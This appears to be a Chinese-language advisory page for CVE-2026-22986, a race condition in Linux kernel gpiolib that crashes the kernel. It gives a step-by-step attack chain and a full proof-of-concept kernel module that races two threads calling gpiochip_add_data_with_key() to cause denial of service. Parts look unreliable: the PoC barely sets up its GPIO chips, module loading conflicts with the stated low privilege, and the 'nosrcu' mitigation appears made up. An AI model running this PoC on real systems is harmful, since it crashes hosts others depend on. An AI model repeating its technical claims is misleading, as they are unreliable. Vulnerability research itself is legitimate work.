CVE-2026-22986: Linux kernel gpiolib 竞态条件导致的内核崩溃漏洞

漏洞信息

漏洞编号

CVE-2026-22986

漏洞类型

竞态条件

CVSS评分

4.7 中危

攻击向量

本地 (AV:L)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Linux kernel gpiolib

漏洞概述

CVE-2026-22986是Linux内核GPIO子系统(gpiolib)中的一个竞态条件漏洞。该漏洞存在于gpiochip_add_data_with_key()函数中，当两个驱动程序同时调用该函数时，会产生竞争条件。具体表现为：一个驱动程序可能在gpio_name_to_desc()中遍历srcu保护的链表，而另一个驱动程序刚刚通过gpiodev_add_to_list_unlocked()将其gdev添加到链表中。这导致一个非互斥且非保护的时间窗口出现，其中一个实例在另一个初始化gdev->srcu之前就对其进行解引用和使用，最终导致内核崩溃。该漏洞的CVSS评分为4.7，属于中等严重程度，可导致系统拒绝服务。

技术细节

该漏洞的根本原因在于Linux内核gpiolib中gdev->srcu初始化时序问题。当两个驱动程序并发调用gpiochip_add_data_with_key()时，会触发以下竞争条件：

1. 驱动程序A调用gpiochip_add_data_with_key()并将gdev添加到gpio_devices链表
2. 驱动程序B同时调用gpiochip_add_data_with_key()
3. 驱动程序A开始遍历srcu保护的链表（在gpio_name_to_desc()中）
4. 驱动程序B在gdev->srcu被初始化之前就尝试访问它
5. 内核产生页错误：Unable to handle kernel paging request
6. 最终导致Oops内核崩溃

漏洞利用栈追踪显示崩溃发生在__srcu_read_lock+0x44和gpio_name_to_desc+0x60处。修复方案是将gdev字段的初始化代码移动到将其添加到gpio_devices链表之前，与相邻的初始化代码放在一起，并调整goto语句以反映修改后的操作顺序。

攻击链分析

STEP 1

步骤1

攻击者获得本地访问权限，在Linux系统上加载两个并发GPIO驱动程序

STEP 2

步骤2

两个驱动程序同时调用gpiochip_add_data_with_key()函数

STEP 3

步骤3

触发竞态条件：一个驱动程序遍历srcu保护的链表，另一个驱动程序在gdev->srcu初始化前访问它

STEP 4

步骤4

内核产生页错误 Unable to handle kernel paging request，导致系统崩溃

STEP 5

步骤5

最终导致内核Oops，系统进入不可恢复状态，实现拒绝服务攻击

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

// CVE-2026-22986 PoC - Kernel Race Condition in gpiolib
// This PoC demonstrates the race condition in gpiochip_add_data_with_key()
// Note: This requires kernel-level access and is for educational purposes only

#include <linux/gpio/machine.h>
#include <linux/gpio/consumer.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/kthread.h>
#include <linux/delay.h>

#define GPIO_CHIP_NAME_1 "poc_gpio_chip_1"
#define GPIO_CHIP_NAME_2 "poc_gpio_chip_2"

static struct gpio_chip chip1, chip2;
static struct task_struct *thread1, *thread2;

static int poc_thread_fn_1(void *data) {
    pr_info("PoC: Thread 1 calling gpiochip_add_data_with_key\n");
    gpiochip_add_data_with_key(&chip1, GPIO_CHIP_NAME_1, NULL, 0);
    msleep(100);
    return 0;
}

static int poc_thread_fn_2(void *data) {
    pr_info("PoC: Thread 2 calling gpiochip_add_data_with_key\n");
    gpiochip_add_data_with_key(&chip2, GPIO_CHIP_NAME_2, NULL, 0);
    return 0;
}

static int __init poc_init(void) {
    pr_info("CVE-2026-22986 PoC: Starting race condition trigger\n");
    
    // Initialize GPIO chips
    chip1.label = GPIO_CHIP_NAME_1;
    chip2.label = GPIO_CHIP_NAME_2;
    
    // Create threads to trigger concurrent gpiochip_add_data_with_key() calls
    thread1 = kthread_run(poc_thread_fn_1, NULL, "poc_thread_1");
    thread2 = kthread_run(poc_thread_fn_2, NULL, "poc_thread_2");
    
    return 0;
}

static void __exit poc_exit(void) {
    if (thread1)
        kthread_stop(thread1);
    if (thread2)
        kthread_stop(thread2);
    gpiochip_remove(&chip1);
    gpiochip_remove(&chip2);
}

module_init(poc_init);
module_exit(poc_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("PoC for CVE-2026-22986 - gpiolib race condition");

影响范围

Linux kernel (affected versions prior to commit 1ef731547dfd73f466c5d0e52801b97191d4647f)

Linux kernel (affected versions prior to commit a7ac22d53d0990152b108c3f4fe30df45fcb0181)

Linux kernel (affected versions prior to commit fb674c8f1a5d8dd3113a7326030f963fa2d79c02)

防御指南

临时缓解措施

在官方补丁发布之前，可以采取以下临时缓解措施：1) 避免同时加载多个GPIO驱动程序；2) 限制非特权用户加载内核模块的权限；3) 使用内核参数nosrcu禁用SRCU机制（可能影响系统性能）；4) 监控系统日志中的内核崩溃信息。最佳方案是尽快应用官方安全补丁。